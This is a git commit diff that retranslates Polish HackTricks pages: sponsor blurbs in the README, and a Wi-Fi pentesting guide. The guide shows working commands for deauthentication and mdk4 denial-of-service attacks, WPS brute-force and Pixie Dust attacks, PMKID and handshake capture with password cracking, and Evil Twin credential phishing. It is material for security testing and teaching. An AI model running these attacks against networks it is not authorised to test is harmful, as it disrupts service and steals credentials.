Translated ['README.md', 'generic-methodologies-and-resources/pentesting

This commit is contained in:
Translator 2024-11-19 12:40:00 +00:00
parent 31576c9150
commit 86a31c6b60
19 changed files with 412 additions and 416 deletions

View file

@ -32,7 +32,7 @@ Możesz sprawdzić ich **blog** pod adresem [**https://blog.stmcyber.com**](http
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologicznych i cyberbezpieczeństwa w każdej dziedzinie.
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.
{% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ Możesz sprawdzić ich **blog** pod adresem [**https://blog.stmcyber.com**](http
**Intigriti** to **numer 1 w Europie** w zakresie etycznego hackingu i **platforma bug bounty.**
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hackerów**! Dołącz do nas pod adresem [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -65,13 +65,13 @@ Uzyskaj dostęp już dziś:
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bugów!
* **Wgląd w hacking:** Angażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
* **Aktualności o hackingu w czasie rzeczywistym:** Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
* **Najnowsze ogłoszenia:** Bądź na bieżąco z nowymi nagrodami bug bounty i istotnymi aktualizacjami platformy
* **Najnowsze ogłoszenia:** Bądź informowany o najnowszych nagrodach bug bounty oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
@ -83,7 +83,7 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -93,7 +93,7 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** oferuje szybkie i łatwe API w czasie rzeczywistym do **uzyskiwania wyników wyszukiwania w wyszukiwarkach**. Zbierają dane z wyszukiwarek, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
**SerpApi** oferuje szybkie i łatwe API w czasie rzeczywistym do **uzyskiwania wyników wyszukiwania**. Zbierają dane z wyszukiwarek, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych API do zbierania danych z różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\
W przeciwieństwie do innych dostawców, **SerpApi nie tylko zbiera organiczne wyniki**. Odpowiedzi SerpApi konsekwentnie zawierają wszystkie reklamy, obrazy i filmy inline, grafy wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
@ -108,9 +108,9 @@ Możesz **utworzyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\_
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami w zakresie cyberbezpieczeństwa, oferując **usługi bezpieczeństwa ofensywnego** z **nowoczesnym** podejściem.
[**WebSec**](https://websec.nl) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami w zakresie cyberbezpieczeństwa, oferując **usługi ofensywne** z **nowoczesnym** podejściem.
WebSec to **wszystko w jednym** firma zabezpiecz, co oznacza, że robią wszystko; Pentesting, **Audyty** Bezpieczeństwa, Szkolenia w zakresie Świadomości, Kampanie Phishingowe, Przegląd Kodów, Rozwój Exploitów, Outsourcing Ekspertów ds. Bezpieczeństwa i wiele więcej.
WebSec to **wszystko w jednym** firma zabezpieczająca, co oznacza, że robią wszystko; Pentesting, **Audyty** Bezpieczeństwa, Szkolenia w zakresie Świadomości, Kampanie Phishingowe, Przegląd Kodów, Rozwój Exploitów, Outsourcing Ekspertów ds. Bezpieczeństwa i wiele więcej.
Kolejną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej w branży, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, jak stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zapoznaj się z ich [**stroną internetową**](https://websec.nl/en/) i [**blogiem**](https://websec.nl/blog/)!
@ -140,7 +140,7 @@ Ucz się i ćwicz Hacking GCP: <img src=".gitbook/assets/grte.png" alt="" data-s
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Podziel się sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}

View file

@ -15,17 +15,17 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w hacking**\
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności o hackingu w czasie rzeczywistym**\
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze ogłoszenia**\
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -58,7 +58,7 @@ mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Uruchom airgeddon za pomocą dockera**
**Uruchom airgeddon z dockerem**
```bash
docker run \
--rm \
@ -75,7 +75,7 @@ From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://g
### wifiphisher
Może przeprowadzać ataki Evil Twin, KARMA i Known Beacons, a następnie używać szablonu phishingowego, aby uzyskać prawdziwe hasło do sieci lub przechwycić dane logowania do sieci społecznościowych.
Może przeprowadzać ataki Evil Twin, KARMA i Known Beacons, a następnie używać szablonu phishingowego, aby uzyskać prawdziwe hasło do sieci lub przechwycić dane logowania do mediów społecznościowych.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -92,7 +92,7 @@ To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
* Jeśli WPS: atak Pixie dust i atak brute-force (uważaj, atak brute-force może zająć dużo czasu). Zauważ, że nie próbuje pustego PIN-u ani PIN-ów z bazy danych/wygenerowanych.
* Próbuje przechwycić PMKID z AP, aby go złamać
* Próbuje deautoryzować klientów AP, aby przechwycić handshake
* Jeśli PMKID lub Handshake, próbuje złamać hasło używając 5000 najpopularniejszych haseł.
* Jeśli PMKID lub Handshake, próbuje brute-force używając 5000 najpopularniejszych haseł.
## Podsumowanie ataków
@ -112,11 +112,11 @@ To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
* **Przechwytywanie nazwy użytkownika**
* **Bruteforce** poświadczenia
* **Evil Twin** (z lub bez DoS)
* **Open** Evil Twin \[+ DoS] -- Użyteczne do przechwytywania poświadczeń portalu przechwytywania i/lub przeprowadzania ataków LAN
* **Open** Evil Twin \[+ DoS] -- Użyteczne do przechwytywania poświadczeń portalu captive i/lub przeprowadzania ataków LAN
* **WPA-PSK** Evil Twin -- Użyteczne do ataków sieciowych, jeśli znasz hasło
* **WPA-MGT** -- Użyteczne do przechwytywania poświadczeń firmowych
* **KARMA, MANA**, **Loud MANA**, **Znany beacon**
* **+ Open** -- Użyteczne do przechwytywania poświadczeń portalu przechwytywania i/lub przeprowadzania ataków LAN
* **+ Open** -- Użyteczne do przechwytywania poświadczeń portalu captive i/lub przeprowadzania ataków LAN
* **+ WPA** -- Użyteczne do przechwytywania handshake'ów WPA
## DOS
@ -125,7 +125,7 @@ To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
**Opis z** [**tutaj**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Ataki **deautoryzacji**, powszechnie stosowana metoda w hackingu Wi-Fi, polegają na fałszowaniu ramek "zarządzających", aby **siłą rozłączyć urządzenia z sieci**. Te niezaszyfrowane pakiety oszukują klientów, sprawiając, że wierzą, iż pochodzą z legalnej sieci, co umożliwia atakującym zbieranie handshake'ów WPA do celów łamania lub trwałe zakłócanie połączeń sieciowych. Ta taktyka, niepokojąca w swojej prostocie, jest szeroko stosowana i ma znaczące implikacje dla bezpieczeństwa sieci.
Ataki **deautoryzacji**, powszechnie stosowana metoda w hackingu Wi-Fi, polegają na fałszowaniu ramek "zarządzających", aby **siłą rozłączyć urządzenia z sieci**. Te niezaszyfrowane pakiety oszukują klientów, sprawiając, że wierzą, iż pochodzą z legalnej sieci, co umożliwia atakującym zbieranie handshake'ów WPA do celów łamania lub trwałego zakłócania połączeń sieciowych. Ta taktyka, niepokojąca w swojej prostocie, jest szeroko stosowana i ma znaczące implikacje dla bezpieczeństwa sieci.
**Deautoryzacja przy użyciu Aireplay-ng**
```
@ -139,7 +139,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### Pakiety Dezaktywacji
**Pakiety dezaktywacji**, podobnie jak pakiety deautoryzacji, są rodzajem ramki zarządzającej używanej w sieciach Wi-Fi. Pakiety te służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępowym (AP). Główna różnica między dezaktywacją a deautoryzacją leży w ich scenariuszach użycia. Podczas gdy AP emituje **pakiety deautoryzacji, aby usunąć nieautoryzowane urządzenia z sieci, pakiety dezaktywacji są zazwyczaj wysyłane, gdy AP przechodzi w tryb wyłączenia**, ponownego uruchamiania lub przenoszenia, co wymaga rozłączenia wszystkich podłączonych węzłów.
**Pakiety dezaktywacji**, podobnie jak pakiety deautoryzacji, są rodzajem ramki zarządzającej używanej w sieciach Wi-Fi. Pakiety te służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępowym (AP). Główna różnica między dezaktywacją a deautoryzacją polega na ich scenariuszach użycia. Podczas gdy AP emituje **pakiety deautoryzacji, aby usunąć nieautoryzowane urządzenia z sieci, pakiety dezaktywacji są zazwyczaj wysyłane, gdy AP przechodzi w tryb wyłączenia**, restartu lub przenoszenia, co wymaga rozłączenia wszystkich podłączonych węzłów.
**Ten atak można przeprowadzić za pomocą mdk4 (tryb "d"):**
```bash
@ -166,7 +166,7 @@ mdk4 wlan0mon b -a -w nta -m
```
**TRYB ATAKU a: Denial-Of-Service uwierzytelnienia**
Wysyłanie ramek uwierzytelniających do wszystkich dostępnych Punktów Dostępu (AP) w zasięgu może przeciążyć te AP, szczególnie gdy zaangażowanych jest wielu klientów. Ten intensywny ruch może prowadzić do niestabilności systemu, powodując, że niektóre AP mogą się zawiesić lub nawet zresetować.
Wysyłanie ramek uwierzytelniających do wszystkich dostępnych Punktów Dostępowych (AP) w zasięgu może przeciążyć te AP, szczególnie gdy zaangażowanych jest wielu klientów. Ten intensywny ruch może prowadzić do niestabilności systemu, powodując, że niektóre AP mogą się zawiesić lub nawet zresetować.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@ -180,7 +180,7 @@ Probing Access Points (APs) sprawdza, czy SSID jest odpowiednio ujawniony i potw
**TRYB ATAKU m: Wykorzystanie Środków Przeciwdziałających Michaelowi**
Wysyłanie losowych lub duplikowanych pakietów do różnych kolejek QoS może wywołać Środki Przeciwdziałające Michaelowi na **TKIP APs**, prowadząc do jednominutowego wyłączenia AP. Ta metoda jest skuteczną taktyką ataku **DoS** (Denial of Service).
Wysyłanie losowych lub duplikowanych pakietów do różnych kolejek QoS może wywołać Środki Przeciwdziałające Michaelowi na **TKIP APs**, prowadząc do wyłączenia AP na minutę. Ta metoda jest efektywną taktyką ataku **DoS** (Denial of Service).
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -199,7 +199,7 @@ Różne ataki na zarządzanie łączami i routowanie w sieciach mesh.
**TRYB ATAKU w: Mylenie WIDS**
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi AP może manipulować systemami wykrywania i zapobiegania włamaniom, tworząc zamieszanie i potencjalne nadużycie systemu.
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi AP może manipulować systemami wykrywania i zapobiegania włamaniom, tworząc zamieszanie i potencjalne nadużycia systemu.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
@ -216,7 +216,7 @@ _**Airgeddon**_ oferuje większość ataków zaproponowanych w poprzednich komen
## WPS
WPS (Wi-Fi Protected Setup) upraszcza proces łączenia urządzeń z routerem, zwiększając szybkość i łatwość konfiguracji dla sieci szyfrowanych za pomocą **WPA** lub **WPA2** Personal. Jest nieskuteczny w przypadku łatwo kompromitowanego zabezpieczenia WEP. WPS wykorzystuje 8-cyfrowy PIN, weryfikowany w dwóch częściach, co czyni go podatnym na ataki brute-force z powodu ograniczonej liczby kombinacji (11 000 możliwości).
WPS (Wi-Fi Protected Setup) upraszcza proces łączenia urządzeń z routerem, zwiększając szybkość i łatwość konfiguracji dla sieci szyfrowanych za pomocą **WPA** lub **WPA2** Personal. Jest nieskuteczny dla łatwo kompromitowanego zabezpieczenia WEP. WPS wykorzystuje 8-cyfrowy PIN, weryfikowany w dwóch częściach, co czyni go podatnym na ataki brute-force z powodu ograniczonej liczby kombinacji (11 000 możliwości).
### WPS Bruteforce
@ -248,7 +248,7 @@ Mówiąc prosto, problem polega na tym, że niektóre AP nie używały wystarcza
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
Jeśli nie chcesz przełączać urządzenia w tryb monitorowania, lub `reaver` i `bully` mają jakiś problem, możesz spróbować [OneShot-C](https://github.com/nikita-yfh/OneShot-C). To narzędzie może przeprowadzić atak Pixie Dust bez konieczności przełączania w tryb monitorowania.
Jeśli nie chcesz przełączać urządzenia w tryb monitorowania, lub `reaver` i `bully` mają jakiś problem, możesz spróbować [OneShot-C](https://github.com/nikita-yfh/OneShot-C). To narzędzie może przeprowadzić atak Pixie Dust bez konieczności przełączania na tryb monitorowania.
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
@ -278,7 +278,7 @@ Tak zniszczony i nieużywany w dzisiejszych czasach. Po prostu wiedz, że _**air
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
@ -289,7 +289,7 @@ Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związa
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
**Latest Announcements**\
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
Bądź na bieżąco z najnowszymi nagrodami za błędy oraz istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -299,7 +299,7 @@ Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacj
### PMKID
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ potrzebuje tylko **jednego pakietu** i nie wymaga, aby jakiekolwiek urządzenia były podłączone do docelowego AP—wystarczy interakcja między atakującym a AP.
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ potrzebuje tylko **jednego pakietu** i nie wymaga, aby klienci byli połączeni z docelowym AP—wystarczy interakcja między atakującym a AP.
Wiele nowoczesnych routerów dodaje **opcjonalne pole** do **pierwszej ramki EAPOL** podczas asocjacji, znane jako `Robust Security Network`. To zawiera `PMKID`.
@ -307,9 +307,9 @@ Jak wyjaśnia oryginalny post, **PMKID** jest tworzony przy użyciu znanych dany
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Biorąc pod uwagę, że "Nazwa PMK" jest stała, znamy BSSID AP i stacji, a `PMK` jest identyczny z tym z pełnego 4-etapowego uścisku dłoni, **hashcat** może wykorzystać te informacje do złamania PSK i odzyskania hasła!
Biorąc pod uwagę, że "Nazwa PMK" jest stała, znamy BSSID AP i stacji, a `PMK` jest identyczny z tym z pełnego 4-etapowego uścisku, **hashcat** może wykorzystać te informacje do złamania PSK i odzyskania hasła!
Aby **zgromadzić** te informacje i **bruteforce'ować** lokalnie hasło, możesz zrobić:
Aby **zgromadzić** te informacje i **bruteforce** lokalnie hasło, możesz zrobić:
```bash
airmon-ng check kill
airmon-ng start wlan0
@ -321,7 +321,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
Złapane **PMKIDy** będą wyświetlane w **konsoli** i również **zapisane** w \_ **/tmp/attack.pcap**\_\
Złapane **PMKID-y** będą wyświetlane w **konsoli** i również **zapisane** w \_ **/tmp/attack.pcap**\_\
Teraz przekształć zrzut do formatu **hashcat/john** i złam go:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
@ -338,7 +338,7 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Zauważyłem, że niektóre przechwycone handshake za pomocą tego narzędzia nie mogły być złamane, nawet znając poprawne hasło. Zalecałbym przechwytywanie handshake również w tradycyjny sposób, jeśli to możliwe, lub przechwytywanie ich kilku za pomocą tego narzędzia._
_Zauważyłem, że niektóre przechwycone handshake za pomocą tego narzędzia nie mogły być złamane, nawet znając poprawne hasło. Zalecałbym również przechwytywanie handshake w tradycyjny sposób, jeśli to możliwe, lub przechwytywanie ich kilku za pomocą tego narzędzia._
### Przechwytywanie handshake
@ -353,13 +353,13 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Note, że gdy klient został zdezautoryzowany, mógł spróbować połączyć się z innym AP lub, w innych przypadkach, z inną siecią._
_Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network._
Gdy w `airodump-ng` pojawią się informacje o handshake, oznacza to, że handshake został przechwycony i możesz przestać nasłuchiwać:
![](<../../.gitbook/assets/image (172) (1).png>)
Gdy handshake zostanie przechwycony, możesz go **złamać** za pomocą `aircrack-ng`:
Gdy handshake zostanie przechwycony, możesz go **crack** z `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
@ -397,38 +397,38 @@ W **ustawieniach WiFi dla przedsiębiorstw napotkasz różne metody uwierzytelni
3. **EAP-TLS (Transport Layer Security)**:
* Wykorzystuje zarówno certyfikaty po stronie klienta, jak i serwera do uwierzytelniania i może dynamicznie generować klucze WEP oparte na użytkownikach i sesjach w celu zabezpieczenia komunikacji.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* Zapewnia wzajemne uwierzytelnianie przez zaszyfrowany tunel, a także metodę do wyprowadzania dynamicznych kluczy WEP dla każdego użytkownika i sesji. Wymaga tylko certyfikatów po stronie serwera, a klienci używają poświadczeń.
* Zapewnia wzajemne uwierzytelnianie przez zaszyfrowany tunel, wraz z metodą do wyprowadzania dynamicznych kluczy WEP dla każdego użytkownika i sesji. Wymaga tylko certyfikatów po stronie serwera, a klienci używają poświadczeń.
5. **PEAP (Protected Extensible Authentication Protocol)**:
* Działa podobnie do EAP, tworząc tunel TLS dla chronionej komunikacji. Umożliwia użycie słabszych protokołów uwierzytelniania na szczycie EAP dzięki ochronie oferowanej przez tunel.
* **PEAP-MSCHAPv2**: Często określane jako PEAP, łączy podatny mechanizm wyzwania/odpowiedzi MSCHAPv2 z ochronnym tunelem TLS.
* **PEAP-MSCHAPv2**: Często określane jako PEAP, łączy podatny mechanizm wyzwania/odpowiedzi MSCHAPv2 z ochronnym tunelami TLS.
* **PEAP-EAP-TLS (lub PEAP-TLS)**: Podobne do EAP-TLS, ale inicjuje tunel TLS przed wymianą certyfikatów, oferując dodatkową warstwę bezpieczeństwa.
Możesz znaleźć więcej informacji na temat tych metod uwierzytelniania [tutaj](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) i [tutaj](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Przechwytywanie nazwy użytkownika
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), wygląda na to, że jeśli używasz **EAP**, to **"Identity"** **messages** muszą być **obsługiwane**, a **nazwa użytkownika** będzie wysyłana w **czystym** w **"Response Identity"** messages.
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), wygląda na to, że jeśli używasz **EAP**, to **"Tożsamość"** **wiadomości** musi być **obsługiwana**, a **nazwa użytkownika** będzie wysyłana w **czystym** tekście w **"Odpowiedzi Tożsamości"**.
Nawet używając jednej z najbezpieczniejszych metod uwierzytelniania: **PEAP-EAP-TLS**, możliwe jest **przechwycenie nazwy użytkownika wysłanej w protokole EAP**. Aby to zrobić, **przechwyć komunikację uwierzytelniającą** (uruchom `airodump-ng` w kanale i `wireshark` na tym samym interfejsie) i filtruj pakiety według `eapol`.\
W pakiecie "**Response, Identity**" pojawi się **nazwa użytkownika** klienta.
Nawet używając jednej z najbezpieczniejszych metod uwierzytelniania: **PEAP-EAP-TLS**, możliwe jest **przechwycenie nazwy użytkownika wysłanej w protokole EAP**. Aby to zrobić, **przechwyć komunikację uwierzytelniającą** (uruchom `airodump-ng` w obrębie kanału i `wireshark` na tym samym interfejsie) i filtruj pakiety według `eapol`.\
Wewnątrz pakietu "**Odpowiedź, Tożsamość**" pojawi się **nazwa użytkownika** klienta.
![](<../../.gitbook/assets/image (850).png>)
### Anonimowe tożsamości
Ukrywanie tożsamości jest obsługiwane zarówno przez EAP-PEAP, jak i EAP-TTLS. W kontekście sieci WiFi, żądanie EAP-Identity jest zazwyczaj inicjowane przez punkt dostępowy (AP) podczas procesu asocjacji. Aby zapewnić ochronę anonimowości użytkownika, odpowiedź z klienta EAP na urządzeniu użytkownika zawiera tylko niezbędne informacje wymagane do przetworzenia żądania przez początkowy serwer RADIUS. Koncepcja ta jest ilustrowana przez następujące scenariusze:
Ukrywanie tożsamości jest obsługiwane zarówno przez EAP-PEAP, jak i EAP-TTLS. W kontekście sieci WiFi, żądanie EAP-Identity jest zazwyczaj inicjowane przez punkt dostępowy (AP) podczas procesu asocjacji. Aby zapewnić ochronę anonimowości użytkownika, odpowiedź od klienta EAP na urządzeniu użytkownika zawiera tylko niezbędne informacje wymagane do przetworzenia żądania przez początkowy serwer RADIUS. Koncepcja ta jest ilustrowana przez następujące scenariusze:
* EAP-Identity = anonimowy
* W tym scenariuszu wszyscy użytkownicy używają pseudonimowego "anonimowy" jako swojego identyfikatora użytkownika. Początkowy serwer RADIUS działa jako serwer EAP-PEAP lub EAP-TTLS, odpowiedzialny za zarządzanie stroną serwera protokołu PEAP lub TTLS. Wewnętrzna (chroniona) metoda uwierzytelniania jest następnie obsługiwana lokalnie lub delegowana do zdalnego (domowego) serwera RADIUS.
* EAP-Identity = anonimowy@realm\_x
* W tej sytuacji użytkownicy z różnych klestw ukrywają swoje tożsamości, jednocześnie wskazując swoje odpowiednie królestwa. Umożliwia to początkowemu serwerowi RADIUS proxy żądania EAP-PEAP lub EAP-TTLS do serwerów RADIUS w ich domowych królestwach, które działają jako serwer PEAP lub TTLS. Początkowy serwer RADIUS działa wyłącznie jako węzeł przekaźnikowy RADIUS.
* Alternatywnie, początkowy serwer RADIUS może działać jako serwer EAP-PEAP lub EAP-TTLS i albo obsługiwać chronioną metodę uwierzytelniania, albo przekazywać ją do innego serwera. Ta opcja ułatwia konfigurację odmiennych polityk dla różnych królestw.
* W tej sytuacji użytkownicy z różnych realmów ukrywają swoje tożsamości, jednocześnie wskazując swoje odpowiednie realm. Umożliwia to początkowemu serwerowi RADIUS proxy żądania EAP-PEAP lub EAP-TTLS do serwerów RADIUS w ich domowych realmach, które działają jako serwer PEAP lub TTLS. Początkowy serwer RADIUS działa wyłącznie jako węzeł przekaźnikowy RADIUS.
* Alternatywnie, początkowy serwer RADIUS może działać jako serwer EAP-PEAP lub EAP-TTLS i albo obsługiwać chronioną metodę uwierzytelniania, albo przekazywać ją do innego serwera. Ta opcja ułatwia konfigurację odmiennych polityk dla różnych realm.
W EAP-PEAP, po nawiązaniu tunelu TLS między serwerem PEAP a klientem PEAP, serwer PEAP inicjuje żądanie EAP-Identity i przesyła je przez tunel TLS. Klient odpowiada na to drugie żądanie EAP-Identity, wysyłając odpowiedź EAP-Identity zawierającą prawdziwą tożsamość użytkownika przez zaszyfrowany tunel. To podejście skutecznie zapobiega ujawnieniu rzeczywistej tożsamości użytkownika komukolwiek podsłuchującemu ruch 802.11.
EAP-TTLS postępuje nieco inaczej. W przypadku EAP-TTLS klient zazwyczaj uwierzytelnia się za pomocą PAP lub CHAP, zabezpieczonych przez tunel TLS. W tym przypadku klient dołącza atrybut User-Name oraz atrybut Password lub CHAP-Password w początkowej wiadomości TLS wysyłanej po nawiązaniu tunelu.
